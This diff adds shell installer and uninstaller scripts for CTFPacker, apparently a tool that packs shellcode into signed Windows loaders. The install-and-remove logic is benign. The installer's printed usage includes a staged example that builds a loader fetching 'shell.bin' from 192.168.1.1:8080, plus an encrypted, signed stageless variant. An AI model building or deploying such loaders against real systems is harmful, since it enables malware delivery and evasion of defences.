"clang" +check_tool "lld" "lld" +check_tool "nasm" "nasm" +check_tool "make" "make" +check_tool "x86_64-w64-mingw32-gcc" "mingw-w64 (x86_64)" +check_tool "osslsigncode" "osslsigncode" +check_tool "pipx" "pipx" + +# Check ctfpacker entry point (may not be in root's PATH yet — check by full path) +if [[ -f "$PIPX_BIN/ctfpacker" ]]; then + log_success "ctfpacker → $PIPX_BIN/ctfpacker" +else + log_warn "ctfpacker entry point not found in $PIPX_BIN" + MISSING+=("ctfpacker") +fi + +# Verify MinGW sysroot paths used by Makefile +TARGET_TRIPLE="x86_64-w64-mingw32" +MINGW_INCLUDE="/usr/${TARGET_TRIPLE}/include" +MINGW_LIB="/usr/${TARGET_TRIPLE}/lib" +GCC_WIN32_PATH="$(find /usr/lib/gcc/${TARGET_TRIPLE}/ -type d -name "*win32" 2>/dev/null | head -n1 || true)" + +if [[ -d "$MINGW_INCLUDE" ]]; then + log_success "MinGW includes → $MINGW_INCLUDE" +else + log_warn "MinGW includes not found at $MINGW_INCLUDE" + MISSING+=("mingw-include") +fi + +if [[ -d "$MINGW_LIB" ]]; then + log_success "MinGW libs → $MINGW_LIB" +else + log_warn "MinGW libs not found at $MINGW_LIB" + MISSING+=("mingw-lib") +fi + +if [[ -n "$GCC_WIN32_PATH" ]]; then + log_success "GCC win32 path → $GCC_WIN32_PATH" +else + log_warn "GCC win32 runtime path not found (will fall back to MINGW_LIB in Makefile)" +fi + +# Check for winhttp / ntdll import stubs (needed at link time) +for stub in libwinhttp.a libntdll.a; do + if [[ -f "$MINGW_LIB/$stub" ]]; then + log_success "$stub found" + else + log_warn "$stub not found in $MINGW_LIB — linking may fail" + fi +done + +# ============================================================================= +# Summary +# ============================================================================= +echo "" +if [[ ${#MISSING[@]} -gt 0 ]]; then + log_warn "Some components were not found: ${MISSING[*]}" + log_warn "If these are PATH-related, open a new shell or run:" + log_warn " source ~/.bashrc (or ~/.zshrc)" +else + log_success "All components verified successfully." +fi + +echo "" +echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}" +echo -e "${BOLD}${GREEN} Installation complete!${NC}" +echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}" +echo "" +echo -e " ${CYAN}CTFPacker is installed globally for user '${REAL_USER}'.${NC}" +echo -e " ${CYAN}Open a new terminal (or source your shell rc) then:${NC}" +echo "" +echo -e " ${CYAN}App launcher:${NC}" +echo -e " Search for ${YELLOW}CTFPacker GUI${NC} in your application menu / launcher" +echo "" +echo -e " ${CYAN}Run CTFPacker (CLI):${NC}" +echo -e " ${YELLOW}ctfpacker -h${NC} ${CYAN}or${NC} ${YELLOW}ctfp -h${NC}" +echo "" +echo -e " ${CYAN}Run CTFPacker (GUI):${NC}" +echo -e " ${YELLOW}ctfpacker-gui${NC} ${CYAN}or${NC} ${YELLOW}ctfpg${NC}" +echo "" +echo -e " ${CYAN}Staged example:${NC}" +echo -e " ${YELLOW}ctfp staged -p shellcode.bin -i 192.168.1.1 -po 8080 -pa /shell.bin -e -s${NC}" +echo "" +echo -e " ${CYAN}Stageless example:${NC}" +echo -e " ${YELLOW}ctfp stageless -p shellcode.bin -e -s${NC}" +echo "" +echo -e " ${CYAN}Aliases installed:${NC} ${YELLOW}ctfp${NC} → ctfpacker ${YELLOW}ctfpg${NC} → ctfpacker-gui" +echo -e " ${CYAN}(Reload your shell:${NC} ${YELLOW}source ~/.bashrc${NC} or open a new terminal)" +echo "" diff --git a/uninstall.sh b/uninstall.sh new file mode 100644 index 0000000..c1d8678 --- /dev/null +++ b/uninstall.sh @@ -0,0 +1,198 @@ +#!/usr/bin/env bash +# ============================================================================= +# CTFPacker – Uninstaller for Debian-based systems +# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+ +# ============================================================================= +set -euo pipefail + +# ── Colours ────────────────────────────────────────────────────────────────── +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +BOLD='\033[1m' +NC='\033[0m' + +log_info() { echo -e "${CYAN}[*]${NC} $*"; } +log_success() { echo -e "${GREEN}[+]${NC} $*"; } +log_warn() { echo -e "${YELLOW}[!]${NC} $*"; } +log_error() { echo -e "${RED}[-]${NC} $*" >&2; } +log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; } + +# ── Root check ─────────────────────────────────────────────────────────────── +if [[ $EUID -ne 0 ]]; then + log_error "This script must be run as root." + echo -e " Try: ${YELLOW}sudo bash uninstall.sh${NC}" + exit 1 +fi + +# ── Debian/apt check ───────────────────────────────────────────────────────── +if ! command -v apt-get &>/dev/null; then + log_error "apt-get not found. This uninstaller only supports Debian-based systems." + exit 1 +fi + +# ── Resolve the real (non-root) user ───────────────────────────────────────── +REAL_USER="${SUDO_USER:-$USER}" +REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)" +PIPX_BIN="$REAL_HOME/.local/bin" + +# ── Banner ─────────────────────────────────────────────────────────────────── +echo "" +echo -e "${RED}${BOLD}" +cat << 'EOF' + + ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ +▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ +▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ +▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ +▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ +░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ +░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ +░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ +░ ░ + +EOF +echo -e "${NC}" +echo -e " ${CYAN}Uninstaller — Debian-based systems${NC}" +echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}" +echo "" + +# ============================================================================= +# Confirmation +# ============================================================================= +echo -e "${YELLOW}${BOLD}This will remove:${NC}" +echo -e " • CTFPacker pipx package + entry points (ctfpacker, ctfpacker-gui)" +echo -e " • Desktop entry and icon" +echo -e " • Shell aliases (ctfp, ctfpg) from .bashrc / .zshrc" +echo -e " • Build artifacts (.ctfpacker/ temp dir, if present)" +echo "" +read -rp "$(echo -e "${BOLD}Continue? [y/N] ${NC}")" CONFIRM +if [[ ! "$CONFIRM" =~ ^[Yy]$ ]]; then + log_warn "Aborted." + exit 0 +fi + +# ============================================================================= +# STEP 1 — Remove pipx package +# ============================================================================= +log_banner "STEP 1 — Removing pipx package" + +if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then + sudo -u "$REAL_USER" pipx uninstall ctfpacker + log_success "ctfpacker uninstalled from pipx." +else + log_warn "ctfpacker not found in pipx — skipping." +fi + +# ============================================================================= +# STEP 2 — Remove desktop entry and icon +# ============================================================================= +log_banner "STEP 2 — Removing desktop entry and icon" + +DESKTOP_PATH="$REAL_HOME/.local/share/applications/ctfpacker-gui.desktop" +ICON_PATH="$REAL_HOME/.local/share/icons/ctfpacker.png" + +if [[ -f "$DESKTOP_PATH" ]]; then + rm -f "$DESKTOP_PATH" + log_success "Desktop entry removed." +else + log_warn "Desktop entry not found — skipping." +fi + +if [[ -f "$ICON_PATH" ]]; then + rm -f "$ICON_PATH" + log_success "Icon removed." +else + log_warn "Icon not found — skipping." +fi + +# Refresh desktop database +if command -v update-desktop-database &>/dev/null; then + sudo -u "$REAL_USER" update-desktop-database "$REAL_HOME/.local/share/applications" 2>/dev/null || true +fi +if command -v gtk-update-icon-cache &>/dev/null; then + gtk-update-icon-cache -f -t "$REAL_HOME/.local/share/icons" 2>/dev/null || true +fi + +# ============================================================================= +# STEP 3 — Remove shell aliases +# ============================================================================= +log_banner "STEP 3 — Removing shell aliases" + +remove_aliases() { + local rc_file="$1" + if [[ -f "$rc_file" ]] && grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then + # Remove the alias block (comment header + 2 alias lines + footer comment) + sed -i '/# ── CTFPacker aliases/,/# ──────────────────────────────────────────────────────────────────────────────/d' "$rc_file" + # Also strip any leftover blank line that sed may leave + sed -i '/^$/N;/^\n$/d' "$rc_file" + log_success "Aliases removed from $rc_file" + else + log_warn "No CTFPacker aliases found in ${rc_file} — skipping." + fi +} + +remove_aliases "$REAL_HOME/.bashrc" +remove_aliases "$REAL_HOME/.zshrc" + +# ============================================================================= +# STEP 4 — Remove build artifacts +# ============================================================================= +log_banner "STEP 4 — Removing build artifacts" + +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +CTFPACKER_TMP="$SCRIPT_DIR/Linux/.ctfpacker" + +if [[ -d "$CTFPACKER_TMP" ]]; then + rm -rf "$CTFPACKER_TMP" + log_success "Build temp dir removed: $CTFPACKER_TMP" +else + log_warn "No build temp dir found — skipping." +fi + +# ============================================================================= +# STEP 5 — APT packages (optional) +# ============================================================================= +log_banner "STEP 5 — APT packages (optional)" + +APT_PKGS=( + clang + lld + nasm + mingw-w64 + osslsigncode + pipx +) + +echo -e "${YELLOW}${BOLD}The following APT packages were installed by CTFPacker:${NC}" +printf ' %s\n' "${APT_PKGS[@]}" +echo "" +echo -e "${YELLOW} WARNING: These may be used by other tools on your system.${NC}" +echo "" +read -rp "$(echo -e "${BOLD}Remove these APT packages? [y/N] ${NC}")" REMOVE_APT + +if [[ "$REMOVE_APT" =~ ^[Yy]$ ]]; then + log_info "Removing APT packages..." + DEBIAN_FRONTEND=noninteractive apt-get remove -y "${APT_PKGS[@]}" 2>/dev/null || true + apt-get autoremove -y 2>/dev/null || true + log_success "APT packages removed." +else + log_warn "APT packages kept." +fi + +# ============================================================================= +# Summary +# ============================================================================= +echo "" +echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}" +echo -e "${BOLD}${GREEN} Uninstall complete!${NC}" +echo -e "${BOLD}${GREEN}══════════════════════════════════════════════════${NC}" +echo "" +echo -e " ${CYAN}The CTFPacker source directory was NOT removed.${NC}" +echo -e " To fully delete it: ${YELLOW}rm -rf $SCRIPT_DIR${NC}" +echo "" +echo -e " ${CYAN}Reload your shell to clear the aliases:${NC}" +echo -e " ${YELLOW}source ~/.bashrc${NC} or open a new terminal" +echo ""